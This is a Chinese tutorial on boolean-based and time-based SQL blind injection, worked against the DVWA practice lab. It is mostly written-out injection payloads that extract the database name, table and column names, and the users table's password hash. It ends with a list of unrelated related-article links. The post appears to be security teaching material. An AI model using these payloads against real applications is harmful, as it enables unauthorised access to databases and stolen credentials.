sql盲注

文章目录

布尔盲注

介绍:在网页只给你两种回显的时候是用,类似于布尔类型的数据,1表示正确,0表示错误。

特点:思路简单,步骤繁琐且麻烦。

核心函数:

  1. length()函数
  2. substr()函数

下面以dvwa靶场为例来介绍布尔盲注的过程。

首先试一下这个业务流程,输入1和100显示是不同的,但是他不会回显你具体数据。



1.我们测试一下是否存在sql注入的漏洞。

txt 复制代码
1 and 1=1(exist)
1 and 1=2(exist)
1' and 1=1#(exist)
1' and 1=2#(missing)

这里我们可以基本确定是字符型的布尔盲注的sql漏洞了。

1.猜测数据库库名

txt 复制代码
1' and length(database())=1 #
1' and length(database())=2 #
1' and length(database())=3 #
1' and length(database())=4 #

猜到4的时候击中目标,因此数据库的库名长度为4

2.猜测库名的第一个字母

sql 复制代码
1' and ascii(substr(database(),1,1))>65 #
1' and ascii(substr(database(),1,1))<122 #
...
...
...

由于步骤过于麻烦,我们用bp直接批量尝试。

可以看出当payload为100时数据包的回显长度从4604一下子跳到了4617,查ascii表可以判断出第一个字母是d,以此类推可以判断出数据库名字为dvwa

3.猜表名

这里测出来有两张表

txt 复制代码
1' and (select count(table_name) from information_schema.tables where table_schema=database())>10 #(missing)
1' and (select count(table_name) from information_schema.tables where table_schema=database())>1 #(exist)
1' and (select count(table_name) from information_schema.tables where table_schema=database())>2 #(missing)
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #(exist)

分别猜两张表的长度,再猜表名。猜测方法跟步骤2中的方法一致。

猜长度

sql 复制代码
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #(missing)
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>5 #(missing)
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>7 #(missing)
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>8 #(missing)
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9#(exist)

猜表名,为guestbook和users

sql 复制代码
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>88 #
...
...
...

4.猜列名

这一步其实也是不停的重复,但是我们可以带点猜测的意思,想想users表里会有什么列,password之类重要的。

sql 复制代码
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1 #

5.猜字段值

二分法,猜测字段

sql 复制代码
1' and length(substr((select password from users limit 0,1),1))=32 #(32位一般都是MD5加密)
1' and ascii(substr((select password from users limit 0,1),1,1))=64 #(32位的长度强烈建议写一个脚本来跑)
...
...
...

时间盲注

原理:

时间盲注的核心思想是通过向SQL查询中注入特定的延时函数(如MySQL中的SLEEP()函数),使数据库的响应时间变长。

攻击者通过比较注入延时语句和未注入语句时的响应时间差异,来推断数据库中的某些信息。

常用函数:

SLEEP()函数

BENCHMARK()函数

WAITFOR DELAY 'time'

...

由于上面布尔盲注写了基本思路,这里大概讲一下。

主要是根据页面的响应时间来判断你的语句是否执行成功。后面配合IF(condition, SLEEP(seconds), 0)这种形式的语句来完成注入。

1.确定注入点

sql 复制代码
1' and sleep(5) #(明显500ms的延迟表示语句执行成功,存在字符型的漏洞)

2.猜库名

先猜库的长度

sql 复制代码
1' and if(length(database())=4,sleep(5),1) #

再猜库的具体字母

sql 复制代码
1' and if(ascii(substr(database(),1,1))=100,sleep(5),1)#
...
...
...

可以得出库名为dvwa
3.猜表名

先猜几个表

sql 复制代码
1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)#

再分别二分法猜表名

sql 复制代码
1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #
...
...
...

最后的两个表名为guestbook和users
4.猜列

先猜有几列

sql 复制代码
1' and if((select count(column_name) from information_schema.columns where table_name= 'users')=8,sleep(5),1)#

再猜长度

sql 复制代码
1' and if(length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7,sleep(5),1)

最后二分法猜具体字母
5.猜字段

具体见布尔盲注,基本上一模一样

相关推荐
Mephisto.java1 分钟前
【大数据学习 | kafka高级部分】kafka的文件存储原理
大数据·sql·oracle·kafka·json
十叶知秋32 分钟前
【jmeter】jmeter的线程组功能的详细介绍
数据库·jmeter·性能测试
瓜牛_gn2 小时前
mysql特性
数据库·mysql
奶糖趣多多3 小时前
Redis知识点
数据库·redis·缓存
数新网络4 小时前
《深入浅出Apache Spark》系列②:Spark SQL原理精髓全解析
大数据·sql·spark
CoderIsArt4 小时前
Redis的三种模式:主从模式,哨兵与集群模式
数据库·redis·缓存
师太,答应老衲吧6 小时前
SQL实战训练之,力扣:2020. 无流量的帐户数(递归)
数据库·sql·leetcode
Channing Lewis7 小时前
salesforce case可以新建一个roll up 字段,统计出这个case下的email数量吗
数据库·salesforce
毕业设计制作和分享9 小时前
ssm《数据库系统原理》课程平台的设计与实现+vue
前端·数据库·vue.js·oracle·mybatis
ketil279 小时前
Redis - String 字符串
数据库·redis·缓存